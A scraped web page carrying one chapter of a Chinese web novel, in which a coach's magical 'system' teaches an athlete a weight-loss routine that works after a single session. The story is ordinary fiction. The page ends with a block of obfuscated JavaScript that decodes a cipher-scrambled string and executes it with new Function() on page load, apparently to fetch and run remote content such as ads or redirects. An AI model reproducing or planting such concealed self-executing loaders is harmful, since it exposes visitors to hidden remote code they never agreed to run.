返回

教练万岁

首页
关灯
护眼
字体:
第四十章 一遍就有效
(手机请访问 m.duxs8.com)李戴的脸上是一副信心满满的样子,然而这只是表相罢了,事实上李戴还是非常心虚的,他毕竟谁第一次使用这个减肥操,到底有没有效果,李戴心中真的没底。

“系统,你之前说的那个一天见效,是真的吧?”李戴心中不住的确认。

“百分之百是真的,你就放心好了,若是不相信的话,你们做完这套减肥操,就让她上秤去称一下体重就是了。”系统开口答道。

“照你这么说,那岂不是一次见效了?”李戴接着问。

“也可以这么理解,但具体情况也是因人而异的,理论上越是肥胖的人,减肥的效果就越是明显,注意一下,我这里所说的肥胖指的并不是体重,而是根据身高、年龄、性别等因素来界定的。”系统开口说。

“什么意思?详细给我解释一下。”李戴懒得去理解字面意思,直接选择了懒人方法。

“打个比方,如果两个人同样身高同样体重,但是性别不同的话,使用减肥操后,男性的减肥效果肯定不如女性,因为男性的正常体重肯定要比女性更重一些,男性的减肥潜力也要小一些;再比如两人同身高同体重,连性别都相同的话,四十岁的减肥效果肯定不如二十岁的减肥效果,因为二十岁的人,身体机能更加优秀,道理上是一样的。”系统开口说道。

“我明白了,希望这个减肥操能够对于菲菲起到非常好的效果吧!”李戴暗叹一口气,此时一整套减肥操也已经接近了尾声。

“好,我们做完了!”李戴结束了最后一个动作,随后望着于菲菲,开口问道:“感觉怎么样?累么?”

“还好,不是很累,只是觉得身上暖烘烘。”于菲菲开口说。

“那去称一下吧,看看瘦了没有。”李戴颇为认真的说道。

“你在开什么玩笑,你这一套健身操,从头做到尾也就是花费了十几分钟而已,十几分钟的时间,怎么可能瘦下来,你以为是割肉呢。”于菲菲笑道。

“要是万一真的瘦了呢?”李戴话音顿了顿,接着说道:“再者说了,你今天的训练算是结束了,称一下体重做个纪录,总是常规吧。”

“我半个小时前已经称过体重了,就是因为一点儿都没瘦,才哭起来的……”于菲菲小声的嘀咕着,不过还是走向了旁边的电子体重秤,显然她自己也是有些许小期待的。

“半个小时前么?”李戴掏出了手机,看了看时间:“半个小时前,应该是我第一次来这里锁门的时候,结果还被于菲菲给吓走了。”‘

于菲菲已经走上了电子体重秤,当她站稳之后,却望着上面显示的数字,久久没有声音。

“有没有稍微轻一些?”李戴声音越来越小,他其实是有些心虚的,担心减肥操没有丝毫的效果。

于菲菲猛地转过头来,一脸的欣喜,只见他从电子体重秤上跳了下来,嘴里则不停地喊着:“瘦了,真的瘦了,比刚才瘦了三两!我终于开始瘦了!”

“三两?这么多!”李戴心里面也是大吃一惊,他没想到系统所说的一次就见效,会有这么好的效果。

减肥是痛苦而又艰难的事情,对于普通人来说如此,对于运动员来说更是如此。少吃东西多运动,是普通人减肥的两大法宝。而运动员想要减肥的话,这两大法宝是完全行不通的。

事实上职业运动员无论是增肥还是减肥,都要比普通人难数倍,绝大多数的运动员在其职业生涯期间,基本上都会保持差不多的体重,而事实上保持体重也是保持竞技状态。

运动员在一天的训练前后,体重相差三四斤也是很正常的现象,这主要是因为体内能量的消耗和水的消耗,很多运动员在经过高强度的训练后,身体甚至会处于一种轻微脱水的状态,可能训练中流掉的汗,就不止一二斤的重量,这种体重的减轻实际上是没有意义的,喝口水就能把体重补充回来。

减肥不是减水,只减水对于减肥来说没有丝毫的意义。就像是一块海绵,不能因为吸了水,就觉得这是一块更值钱的海绵。

所以减轻了三两的体重,若是放在日常的训练中,根本就是一件无所谓的事情,多喝杯水就能补回来,水这东西本来就不占肚子,像是夏天里吃烤串喝扎啤,一杯一斤的扎啤,随便来个大老爷们都能轻松灌两三杯进肚子。

然而今天的情况却完全不同,短短不到二十分钟的时间里,做了一套减肥操,于菲菲甚至都没有淌汗,体重却直接轻了半斤,这显然不是高强度运动员带来的减水效果,而是真真切切的瘦了。

“做一套减肥操能瘦三两,这减肥操的效果也太棒了吧,赶得上在桑拿里蒸的效果了。”李戴表情上却故意展现出一副理所应当的样子,可心里却无比的紧张起来

花费不到二十分钟的时间做一套减肥操,李戴自己也是连汗都没出,可却减了三两的重量,这个效果实在是太逆天了,完全是违背了科学常理。万一要是被歹人知道了,说不定把自己当成外星人给解剖了。

“小范围的让几个人知道,应该没问题吧,对完就说我祖传独家秘方。反正这个减肥操使用条件太苛刻了,又得是运动员,又得是我亲自领着做才管用,不可能大范围传播的。”李戴想到这里,心中也安定了一些。

于菲菲却小跑过来,一脸央求的表情:“快,快教我再做一次这个健身操。”

“好,那我们就再练习一次。”李戴只得摆好了架势,喊起了口号。

“一二三四、五六七八、二二三四、五六七八……”

……

第二次完成了减肥操,于菲菲又一次的跑到了电子体重秤上去。

“又瘦了二两!哈哈,我今天晚上已经瘦了半斤了!我这两个多月都没能瘦下来半斤!”于菲菲兴奋的跳了起来,随后又一次的跑了过来,仍旧是一脸央求的望着李戴。

“我说大小姐啊,现在都已经七点了,我都饿成狗了。要不然咱们今天就到这里,明天再接着练?我实在是累的动不了了。”李戴有些苦恼的望着于菲菲。

于菲菲眼神中露出一副不舍的样子,不过她看了看时间,确实是有些晚了,而且经李戴这么一提醒,于菲菲自己也觉得饿了。

“今天真是谢谢你,要不然我请你吃饭吧!”于菲菲开口说。

“吃饭?算了吧,现在食堂都已经关门了。”李戴开口说道。

“不去你们的食堂吃,我带你去省体工队的一号餐厅,这个时间应该不堵车了,我们出去打个车,十分钟就能到。”于菲菲开口说道。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();